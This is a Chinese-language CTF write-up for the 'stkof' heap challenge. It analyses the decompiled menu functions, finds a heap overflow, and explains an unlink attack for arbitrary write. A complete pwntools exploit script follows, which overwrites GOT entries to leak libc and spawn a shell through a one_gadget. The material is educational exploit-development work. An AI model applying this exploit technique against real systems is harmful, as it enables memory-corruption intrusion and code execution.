unlink

题目描述

菜单

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
signed __int64 add()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
::s[++dword_602100] = v2;
printf("%d\n", (unsigned int)dword_602100, size);
return 0LL;
}

输入size
申请相应大小的堆
指针记录在bss段上
先自增,所以第一个chunk的index为1

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed __int64 edit()
{
signed __int64 result; // rax
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v2 = atol(&s); // idx
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v2] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
n = atoll(&s);
ptr = ::s[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}

输入index
输入size
可以按我们指定的size进行填充
存在堆溢出

free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
signed __int64 free_0()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
free(::s[v1]);
::s[v1] = 0LL;
return 0LL;
}

输入index
free相应堆块,并将指针置0

useless

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
signed __int64 useless()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
if ( strlen(::s[v1]) <= 3 )
puts("//TODO");
else
puts("...");
return 0LL;

这部分用处不大,可能可以用于更方便接收数据

思路

利用unlink获得任意地址写的能力
因为本题没有setbuf,在运行fgets()函数和printf函数时会调用malloc在堆上分配两块内存区域,这边在一开始就申请一个堆块来把缓冲区申请了,方便之后操作

  1. 申请好堆块,核心部分记为chunk2,chunk3,chunk4,其中chunk4用来隔绝top chunk,chunk2和chunk3为物理相邻的两堆块,chunk2、3大小应为small chunk范围
  2. 编辑chunk2,bss段上记录chunk3指针的地址记为s,修改chunk2的内容伪造一个堆:伪造一个size位,伪造fd指针指向s-0x18处,bk指针指向s-0x10处。同时修改chunk3的pre_size为chunk2size位记录的大小-0x10,pre_in_use位改为0(表示前一个chunk处于free状态)
    这样就在chunk2里伪造了一个处于双向链表中的free chunk,且满足FD->bk=p;BK->fd=p
    伪造后结果如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    gef➤  x/40gx 0xfb3540-0x10
    0xfb3530: 0x0000000000000000 0x0000000000000091 -> chunk2
    0xfb3540: 0x0000000000000000 0x0000000000000080 ->fake freed chunk
    0xfb3550: 0x0000000000602138 0x0000000000602140
    0xfb3560: 0x6161616161616161 0x6161616161616161
    0xfb3570: 0x6161616161616161 0x6161616161616161
    0xfb3580: 0x6161616161616161 0x6161616161616161
    0xfb3590: 0x6161616161616161 0x6161616161616161
    0xfb35a0: 0x6161616161616161 0x6161616161616161
    0xfb35b0: 0x6161616161616161 0x6161616161616161
    0xfb35c0: 0x0000000000000080 0x0000000000000090 ->chunk3
    0xfb35d0: 0x0000000000000000 0x0000000000000000
    0xfb35e0: 0x0000000000000000 0x0000000000000000
  3. free chunk3,检测到物理相邻的fake chunk空闲,发生前向合并,触发unlink。造成chunk2的指针被改写为s-0x18,此时已经可以通过编辑chunk2对chunk1的指针进行修改,然后再编辑chunk1从而获得任意地址写的能力
  4. 为了getshell我们把chunk1指针改写指向free_got,填入puts_plt,然后再让chunk1指针指向puts_got,执行free(chunk1),便能把puts真实地址打印出来
  5. 再让chunk1指针指向free_got,填入one_gadget,然后执行free(chunk1),getshell

exp

(打远程部分偏移需要调整)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./stkof')

def malloc(size):
r.sendline('1')
r.sendline(str(size))

def write(idx, size, strs):
r.sendline('2')
r.sendline(idx)
r.sendline(size)
r.sendline(strs)

def free(idx):
r.sendline('3')
r.sendline(str(idx))

malloc(0x100) #1
malloc(0x80) #2
malloc(0x80) #3
malloc(0x80) #4 avoid topchunk
global_ptr = 0x602150
sizeofint = 8
puts_got = 0x602020
puts_plt = 0x400760
free_got = 0x602018

payload = p64(0)+p64(0x80)+p64(global_ptr-3*sizeofint)
payload+= p64(global_ptr-2*sizeofint)+'a'*0x60+p64(0x80)+p64(0x90)
write('2','144',payload)
free(3)

def write_anywhere(addr,size,strs):
write('2','24',p64(1)*2+p64(addr))
write('1',size,strs)
write_anywhere(free_got,'8',p64(puts_plt))

def read_anywhere(addr):
write('2','24',p64(1)*2+p64(addr))
free('1')
read_anywhere(puts_got)

r.recvuntil('\xa0')
data = '\xa0'+r.recv(5)
puts_addr = u64(data.ljust(8,'\x00'))
#gdb.attach(r)
libc_base = puts_addr-0x6f6a0
one_gadget = libc_base+0xf0364
print 'puts_addr ===> ',hex(puts_addr)
print 'libc_base ===> ',hex(libc_base)
print 'one_gadget ==> ',hex(one_gadget)

write_anywhere(free_got,'8',p64(one_gadget))
free('1')

r.interactive()